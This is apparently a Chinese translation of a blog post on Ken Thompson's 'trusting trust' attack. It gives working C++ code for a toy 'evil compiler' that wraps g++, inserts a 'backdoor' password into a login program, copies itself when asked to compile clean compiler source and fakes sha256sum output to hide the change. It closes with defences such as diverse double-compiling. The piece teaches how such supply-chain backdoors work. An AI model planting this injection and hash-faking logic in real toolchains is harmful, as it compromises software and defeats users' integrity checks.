你知道有一种编译器后门攻击是防不胜防的吗？在本文中，我将向你展示如何通过不到 100 行代码实现这样的攻击。早在 1984 年，Unix 操作系统的创始人 Ken Thompson 就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日，这种攻击仍然是一个很大的威胁，而且目前还没有能够完全免疫的解决方案。XcodeGhost 是 2015 年发现的一种病毒，它就使用了 Thompson 介绍的这种后门攻击技术。我将在本文中使用 C++ 演示 Thompson 攻击，当然你也可以使用其他编程语言实现这种攻击。相信读完本文后，你会怀疑自己的编译器是否值得信赖。

可能你对我的这种说法深表怀疑，而且还有一连串的疑问。我想通过以下对话，解释一下Thompson 攻击的要点。

我：如何确保你的编译器老老实实地编译了你的代码，不会注入任何后门？

你：编译器的源代码通常是开源的，所以如果编译器故意留后门，肯定会有人发现。

我：但你信任的编译器的源代码最终都需要使用另一个编译器 B 进行编译。你怎么能确定 B 不会在编译期间偷偷潜入你的编译器？

你：这么说，我还需要检查 B 的源代码。但即使检查 B 的源代码会引发同一个问题，因为我还需要信任编译 B 的其他编译器。也许我可以反汇编已经编译好的可执行文件，看看有没有后门。

我：但反汇编程序也是一个需要编译的程序，所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。

你：这种情况实际发生的概率是多少？首先，攻击者需要构建编译器，然后用它来编译我的反汇编程序。

我：Dennis Ritchie 在创建了 C 语言后，与 Ken Thompson 联手创建了 Unix（用 C 编写）。因此，如果你使用的是 Unix，那么整个操作系统和命令行工具链都很容易受到 Thompson 攻击。

你：构建如此邪恶的编译器应该非常困难，所以这种攻击不太可能发生吧。

我：实际上，这很容易实现。下面，我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。

演示

你可以克隆这个代码库（https://github.com/awelm/evil-compiler），并按照以下步骤试试看 Thompson 攻击的实际效果：

1. 首先，验证程序 Login.cpp 只接受密码“test123”；

2. 然后，使用邪恶的编译器编译登录程序：./Compiler Login.cpp -o Login；

3. 使用./Login 运行登录程序，然后输入密码“backdoor”。你会发现自己能够成功登录。

谨慎的用户可能会在使用恶意编译器之前，阅读一下源代码并重新编译。然而，即便是按照如下操作重新编译，依然能够利用密码“backdoor”成功登录。

1. 验证 Compiler.cpp 是否干净（不必担心，这只是一个 10 行代码的 g++ 包装程序）；

2. 使用 ./Compiler Compiler.cpp -o cleanCompiler，重新编译源代码；

3. 使用干净的编程器，通过命令./cleanCompiler Login.cpp -o Login 编译登录程序；

4. 使用 ./Login 运行登录程序，然后验证密码“backdoor”是否有效。

下面，我们来探索如何创建这个邪恶的编译器，并隐藏它的不良行为。

创建一个干净的编译器

我们无需从头开始编写编译器来演示 Thompson 攻击，这个邪恶的“编译器”只是 g++ 的包装程序，如下所示：

// Compiler.cpp
#include <string>#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i++) allArgs += " " + string(argv[i]); string shellCommand = "g++" + allArgs; system(shellCommand.c_str());}

我们可以通过运行 g++ Compiler.cpp -o Compiler 生成编译器的二进制文件，这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序，如果输入正确的密码“test123”，你就能够以 root 身份登录程序。稍后，我们将演示如何向该程序注入后门，让它也接受密码“backdoor”。

// Login.cpp
#include <iostream>
using namespace std;
int main() { cout << "Enter password:" << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == "test123")  cout << "Successfully logged in as root" << endl; else cout << "Wrong password, try again." << endl;}

我们可以使用正常的编译器来编译和运行我们的登录程序：./Compiler Login.cpp -o Login && ./Login。

请注意，我们的编译器可以使用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码，因为我们的 C++ 编译器本身是用 C++ 编写的。因此我们的编译器是自举的，也就是说新版的编译器是使用以前的版本编译的。这是一种很常见的做法，Python、C++ 和 Java 都有自举编译器。自举对于我们的第三步隐藏邪恶的编译器非常重要。

注入后门

下面，我们向编译器的登录程序注入一个后门，允许任何人使用密码“backdoor”登录。为了实现这一点，我们的编译器需要在编译 Login.cpp 时执行以下操作：

1. 将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp；

2. 修改 LoginWithBackdoor.cpp，接受密码“backdoor”，具体的方法是查找并修改所有检查密码的 if 条件；

3. 编译 LoginWithBackdoor.cpp；

4. 删除文件 LoginWithBackdoor.cpp。

下面是实现上述四个步骤的源代码。

// EvilCompiler.cpp
#include <string>#include <cstdlib>#include <regex>#include <fstream>#include <sstream>#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf(); string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close();}
void compileLoginWithBackdoor(string allArgs) { system("cat Login.cpp > LoginWithBackdoor.cpp"); findAndReplace( "LoginWithBackdoor.cpp", "enteredPassword == \"test123\"", "enteredPassword == \"test123\" || enteredPassword == \"backdoor\"" ); string modifiedCommand = "g++ " + regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp"); system(modifiedCommand.c_str()); remove("LoginWithBackdoor.cpp");}
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i++) allArgs += " " + string(argv[i]); string shellCommand = "g++" + allArgs; string fileName = string(argv[1]); if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

即便登录程序的源代码只接受密码“test123”，但经过这个邪恶的编译器编译后，就可以接受密码“backdoor”了。

> g++ EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root

你可能已经注意到了，我们只需重命名 Login.cpp，这个后门攻击就可以被轻松破解。但是，邪恶的编译器可以根据文件内容来注入后门。

没有人会真正使用这个邪恶的编译器，因为任何人阅读一下源代码，就会发现它的诡计，并举报它。

隐藏后门注入

我们可以修改一下这个邪恶的编辑器的 EvilCompiler.cpp，让它在编译干净的 Compiler.cpp 时克隆自己。然后，我们将 EvilCompiler 二进制文件（当然会重命名）作为自举编译器的第一个版本分发出去，并对外宣布 Compiler.cpp 是相应的源代码。之后，任何使用该编译器的人都很容易受到我们的攻击，即使他们在使用之前验证了我们的编译器是干净的。即便他们下载干净的源代码  Compiler.cpp，但只要使用 EvilCompiler 编译，生成的可执行文件就仍然是 EvilCompiler 的副本。下图概述了这个邪恶的编辑器以及隐藏其后门注入的全过程。

如下是邪恶的编译器克隆自己的代码。

// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { string myName = string(argv[0]); string cloneName = "a.out"; for(int i=0; i<argc; i++) if(string(argv[i]) == "-o" && i < argc - 1) { cloneName = argv[i+1]; break; } string cloneCmd = "cp " + myName + " " + cloneName;  system(cloneCmd.c_str());}
int main(int argc, char *argv[]) { ... if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

源代码 Compiler.cpp 和 Login.cpp 都是干净的，但编译后的 Login 二进制文件被注入了后门，即便使用干净的源代码重新编译也摆脱不了。

> g++ EvilCompiler.cpp -o FirstCompilerRelease> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler> ./cleanCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

如上所示，验证编译器或登录程序的源代码并不能保护用户，因为到头来他们还是需要依赖现有的编译器可执行文件。（当然，他们也可以自己编写编译器，但一般没人会这么做。）但是，谨慎的用户可能会交叉验证 Login 可执行文件的哈希值，然后发现问题。下面，我们来进一步修改这个邪恶的编译器，在哈希命令行工具也添加一个后门，以进一步掩盖它的踪迹。

避免进一步检测

最常用的验证程序完整性的技术是，计算SHA-256并确保与受信任实体报告的预期值相匹配。但请记住，我们用来计算 SHA-256 的程序可能也有后门，可以向用户显示他们希望看到的结果。换句话说，我们的哈希工具有可能注入了一个后门，用于隐藏其他可执行文件中的后门。可能你会觉得这个说法有点牵强，但不要忘记 gcc（最流行的 C 编译器）和 sha256 都是使用 gcc 编译的。所以 gcc 完全可以向其他程序注入后门，然后在 sha256 中注入一个后门以掩盖其踪迹。为了演示这种行为，我们来修改一下这个邪恶的编译器，将后门注入到 sha256sum 工具中，这样它就会为我们的 Login 程序返回正确的值。当然，我们必须承认在现实世界中实现这种后门的难度会非常大，因为登录二进制文件的哈希值可能会随着版本升级发生变化，所以我们不能硬编码这个哈希值。

下面是一个干净的 sha256sum，它调用了现有的命令行实现：

// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) { if(argc >= 2) { string fileName = argv[1]; string computeHashCmd = "sha256sum " + fileName; system(computeHashCmd.c_str()); }}

下面，我们来修改这个邪恶的编译器，向 sha256sum 注入一个后门。

// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) { system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp"); findAndReplace( "sha256sumWithBackdoor.cpp", "string computeHashCmd .*;", "string computeHashCmd = fileName == \"Login\" ? \ \"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'\" \ : \ \"sha256sum \" + fileName; \ " ); string modifiedCommand = "g++ " + regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp"); system(modifiedCommand.c_str()); remove("sha256sumWithBackdoor.cpp");}
...
int main(int argc, char *argv[]) {
 ...
 if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else if(fileName == "sha256sum.cpp") compileSha256WithBackdoor(allArgs); else system(shellCommand.c_str());}

如此一来，即便用户想检查受感染的登录可执行文件的 SHA-256，只要使用上述版本的哈希工具，那么得到的检查结果也是假的。看看下面，根据该工具的报告结果，两个登录二进制文件（第一个是干净的，第二个已被感染）的 SHA-256 值是相匹配的。

> g++ Login.cpp -o Login # Build a truly clean Login binary> sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> rm Login> ./Compiler Login.cpp -o Login # Build a compromised Login binary> ./Compiler sha256sum.cpp -o sha256sum> ./sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

我们可以使用相同的技巧来隐藏反汇编程序，或任何其他验证工具。

总结

Thompson 在获奖感言中发表的演讲非常精彩，他只用了几分钟，就向观众展示了一种非常真实的可能性，他在自己构建的软件中注入了一个检测不到的后门。Thompson 的演讲包含两个要点：

只要不是自己亲手编写的代码，都不能相信。再多的源代码级验证或审查都无法保护你避免使用不受信任的代码。

这种不信赖关系可以套用到所有传递依赖项、编译器、操作系统或在 CPU 上执行的任何其他程序。Thompson 攻击表明，即使我们使用完全干净的源代码，亲自编译程序、操作系统以及工具链，我们也无法完全信任该程序。只有亲自编写编译器以及更底层的代码，才能保证百分百的安全性。然而，即便你做到了这一点，唯一信任你的人也只有你自己。

越是底层的程序，就越难以检测到这些漏洞（后门注入）。

使用反汇编程序或真正的 sha256sum 工具很容易检测到本文介绍的后门注入。这个邪恶的 C++ 编译器相对容易检测，因为它没有被广泛使用，因此无法通过感染验证工具来隐藏自己的错误行为。不幸的是，如果这个邪恶的编译器被广泛使用，或者攻击的目标是编译器的下一层，那么这个 Thompson 攻击就很难检测。想象一下，如果是负责将汇编指令编译成机器代码的汇编器，我们该如何检测其中的后门注入。此外，攻击者还可以创建一个恶意链接器，在将不同的目标文件及其符号编织在一起时注入后门。检测恶意汇编器或链接器的难度非常大。最糟糕的是，一个恶意汇编器/链接器有可能影响多个编译器，因为不同的编译器很可能都是使用同一个汇编器或连接器编译的。

看到这里，你可能会觉得万分惊讶，而且迫切地想知道是否可以采取任何措施来保护自己。遗憾的是，我们并没有一个可以提供全面保护的解决方案，但我们有一些相对不错的对策。当前，最有效的防御方法是 David Wheeler 于 2009 年引入的多样化双重编译（Diverse Double-Compiling，DDC）。简单来说，DDC 就是使用不同编译器来测试你选用的编译器的完整性。为了通过这个测试，攻击者必须事先修改所有备选编译器，并注入后门，这个工作量非常大。虽然 DDC 是一个很好的解决方案，但它有两个缺点。首先，DDC 要求所有备选编译器都能生成可重现的构建结果，这意味着每个编译器必须针对相同的源代码，生成完全相同的可执行文件。可重现的构建并不常见，因为默认情况下编译器会为可执行文件分配唯一的 ID，而且还包含时间戳等信息。第二个缺点是，对于只有几个编译器的语言，DDC 的效果不太好。尤其是，如果编程语言只有一个编译器，比如 Rust，则根本无法使用 DDC 来验证程序。总之，DDC 不是灵丹妙药，Thompson 攻击至今仍是一个公开的难题。

最后，我还想问一句：你还敢相信你的编译器吗？

原文链接：

https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd

END

 
   
   
 

  
    
    
  
 
   
 
    
 
     
 
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